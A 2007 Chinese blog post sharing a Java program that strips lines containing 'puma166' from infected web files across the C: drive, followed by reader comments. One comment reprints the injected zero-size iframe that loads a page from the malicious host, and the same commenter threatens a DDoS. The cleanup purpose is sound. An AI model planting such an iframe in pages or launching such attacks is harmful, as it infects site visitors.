lqxue

常用链接

统计

book

tools

最新评论

清除文件中含有指定特征字符串(例如puma166)的行。


最近感染了一个病毒,也说不上是啥毒,反正所有的.html,.htm,.jsp文件一经被IE执行,它都会在文件的尾部加上一句类似这样一句代码“< IFRAME ID=IFrame1 FRAMEBORDER=0 SCROLLING=NO SRC="http://www.puma166.com/...."></ IFRAME > ”;杀毒软件是不能帮我把它从文件中删除了,自己写了一段程序来实现。

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;

public class Test {
    
private static String feature = "puma166";// the special string which indicate that we will remove this line 
    private static String filetypes = "#.htm#.html#.jsp#.asp#.aspx#";
    
public static void moveAntivus(String filename,String feature) throws Exception{
        FileReader fr 
= new FileReader(filename);
        String tmpFileName 
= filename+"_tmp";
        BufferedReader br 
= new BufferedReader(fr);
        String line 
= "";
        FileWriter fw ;
        
while ((line=br.readLine()) != null) {
            
if(line.trim().indexOf(feature)<0){
                fw 
= new FileWriter(new File(tmpFileName),true);
                fw.write(line
+"\n");
                fw.close();
            }
        }
        fr.close();
        File file 
= new File(filename);
        file.delete();
        
new File(tmpFileName).renameTo(new File(filename));
    }
    
public static void scanFile(File file){
       if(file.getName().indexOf(".")<0)
            return;
        
try {
            String ext 
= file.getName().substring(file.getName().lastIndexOf("."));
            
if(filetypes.indexOf(ext)>0){
                moveAntivus(file.getAbsolutePath(),feature);
                System.out.println(file.getAbsolutePath());
            }
        } 
catch (Exception e) {
            e.printStackTrace();
        }
    }
    
public static void scanDir(File dir){
            File[] files 
= dir.listFiles();
            
for(int i=0;i<files.length;i++){
                
if(files[i].isDirectory()){
                    scanDir(files[i]);
                }
else{
                    scanFile(files[i]);
                }
            }
    }
    
public static void main(String[] args){
        Test.scanDir(
new File("C:\\"));//扫描c盘;
    }
}

posted on 2007-05-25 10:31 lqx 阅读(1224) 评论(6)  编辑  收藏

评论

# re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-05 10:14 cf

我也中了这个病毒,请问你写的这个程序应该放程序的什么地方?请回复到我的邮箱好吗?我的邮箱是:cf244000@163.com.谢谢了,急用  回复  更多评论   

# re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 09:34 myself

这是一段java代码,你在执行前在main方法里填上你要扫描的文件夹或磁盘
如下:
public static void main(String[] args){
Test.scanDir(new File("C:\\"));//扫描c盘;
Test.scanDir(new File("C:\\a\\"));//扫描c盘的a文件夹;
}

编译通过后,执行即可  回复  更多评论   

# re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:05 cf

谢谢了  回复  更多评论   

# re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:32 雨的眼泪

你好,还是我,我把这段代码放在我要运行的mian.asp中,这样可以吗?将这句代码“Test.scanDir(new File("C:\\a\\"));//扫描c盘的a文件夹;”换成我网上文件所在的文件。然后将我的文件放到网上,这样可以吗?谢谢了
  回复  更多评论   

#  <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>太卑鄙了我草他老母[未登录] 2007-06-27 10:18 过客

<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe> 他吗的这个东西太卑鄙了 竟然给老子挂网马

吗的害的老子好苦啊 草他娘 草他老母啊 日他麻痹啊


谁告诉我他的真正网站 老子 给他黑了 DDOS他麻痹啊 草呀 你他娘  回复  更多评论   

# re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-09-15 22:56 jackycheng

我以前是通过dreamweaver 来替换好把它清除了,自己硬盘上网页太多,又散清楚起来特别的麻烦。今天看到楼主这样编程杀毒的方法觉得挺不错的。楼主怎么不把它做成软件让大家共享呢?

        回复  更多评论   


只有注册用户登录后才能发表评论。


网站导航: